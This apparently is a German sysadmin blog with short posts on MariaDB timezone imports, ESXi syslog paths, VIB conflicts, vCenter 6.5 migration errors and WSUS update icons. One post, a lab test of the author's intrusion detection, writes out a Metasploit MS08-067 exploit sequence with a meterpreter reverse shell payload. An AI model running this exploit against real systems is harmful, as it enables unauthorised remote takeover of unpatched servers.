.:Ewig Drohendes Versagen:.

Für den Import werden Zeitzonen Tabellen benötigt welche man hier: https://dev.mysql.com/downloads/timezones.html bekommt.

Diese können dann z.B. mit Heidi oder per Console eingespielt werden.

Problem ist allerdings, dass eine der Spalten „Offset“ heißt und dies eins der SQL Keyword ist….

Abhilfe schafft ein Suchen nach Offset, und ein Ersetzten mit `Offset` – wichtig die richtigen Anführungszeichen hier zu verwenden.

@Google
How to deal with SQL column names that look like SQL keywords?
mariadb offset as colum name
mariadb timezone offset
import timezone in mariadb under windows

Um einen Datastore zum löschen / unmounten auf dem sich die Syslogs eines/mehrerer ESXi Servern befinden muss vorher der Syslog Pfad auf ein anderes Volume geändert werden:

VMware KB Artikel 2004605 -> KLick

SSH auf dem ESX aktivieren und mit Putty verbinden ->

ein
esxcli system syslog config get
zeigt die aktuelle Konfiguration

mit einem
ls -l ../vmfs/volumes/
bekommt man die Datastorebezeichnung etwas Menschenfreundlicher aufbereitet

nun ein beherztes
esxcli system syslog config set –logdir=/vmfs/volumes/***VOLUMEID****/Syslog

und anschließend zum reload der Konfig ein
esxcli system syslog reload

nun klappt auch der Unmount der Datastores.

Das ganze muss natürlich auf allen ESX Servern durchgeführt werden welche ihr Syslog in diesen Datastore schreiben:

–>> Das Upgrade enthält die folgenden miteinander in Konflikt stehenden VIBs:
Mellanox_bootbank_net-mst_2.0.0.0-1OEM.550.0.0.472560
Mellanox_bootbank_net-mst_2.0.0.0-1OEM.550.0.0.472560

Die Lösung ist das vib auf den Hosts zu deinstallieren – wenn es denn nicht gebraucht wird:
http://www.virtubytes.com/2017/02/12/esxi-upgrade-conflictiing-vibs-hpe-image/

Kann hier eigentlich nicht mal irgendwas einfach funktionieren? 🙁

Zu Beginn -> Backup / Snapshot des „alten“ vCenters!!

Einen ersten Eindruck des Setups kann man sich hier ansehen:
https://v-punk.com/how-to-upgrade-vcsa-6-0-to-vcsa-6-5/

Wenn man die neue 6.5er Appliance mit dem „alten“ Namen deployen möchte – sollte man die alte VM vorher einfach umbenennen.
Dann ist es natürlich auch nicht verkehrt einen anderen Datastore zu nehmen…

Bevor es wirklich losgeht ->>
1. Überprüfen ob das root Password nicht abgelaufen ist
-> A general system error occurred: vix error codes = (1, 4294967293).
–>> https://kb.vmware.com/selfservice/microsites/search.do?language=en_US&cmd=displayKC&externalId=2147895

2. Den Migrations Assistenten auf dem Server mit dem Update Manager starten
-> There is no MA extension for VUM available on source VC.
–>> http://pubs.vmware.com/vsphere-65/index.jsp?topic=%2Fcom.vmware.vsphere.upgrade.doc%2FGUID-6A39008B-A78C-4632-BC55-0517205198C5.html

3. Evtl. vorher mal prüfen ob die Datenbank Sequenzen den richtigen Owner haben
-> Database in-place upgrade failed. Please see vcdb_inplace.err and vcdb_inplace.out for details.
–>> https://communities.vmware.com/thread/548057

4. Fehler bei Schritt 3
-> Error attempting Vcintegrity Export file does not exist or is corrupted, abort import
–>> https://communities.vmware.com/thread/546958
—>>>> Bei mir hat ein Reboot der neuen Appliance zumindest eine 6.5er Appliance zurückgelassen auf der alles bis auf den Update Manager migriert war…

Um die Intrusion Detection unseres Netzwerkes zu testen, habe ich ein wenig mit Kali / Metasploit herum experimentiert.

Als Ziel habe ich einen ungepatchten Windows 2003 R2 Server (deutsch) auf einem ESXi verwendet.

Als Angreifer kam ein Kali 2.0 ebenfalls auf einem ESXi zum Einsatz.

Als Exploit bietet sich hier immer der MS08_067 an, da dieser in der Regel relativ zuverlässig „zündet“.

Jedoch leider nicht auf meinem Deutschen Server – hierfür ist ggf. die dedizierte Angabe des Targets nötig.


msfconsole -q
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
set RHOST Ziel.IP
set LHOST Quell.IP
set target 66
exploit

Ohne die Angabe des Target stürzt der Server Dienst am Ziel immer „nur“ ab – jedoch wird der Payload nicht ausgeführt.

Mit Show Targets kann man sich alle Möglichkeiten anzeigen lassen – wobei hier das NX oder NO NX glaube ich eine entscheidende Rolle spielt 🙂

Da ich es immer mal wieder Nachschlagen muss – hier ein Link:

How to identify and decline superseded updates in WSUS

• No icon: update doesn’t supersede another one nor is it superseded by an update
• Blue square on top: this update supersedes another update, these updates you do not want to clean…!!
• Blue square in the middle: this update has been superseded by another update, and superseded another update as well, this is an example of an update you may want to clean (decline)
• Blue square in the right below corner: this update has been superseded by another update, this is an example of an update you may want to clean (decline)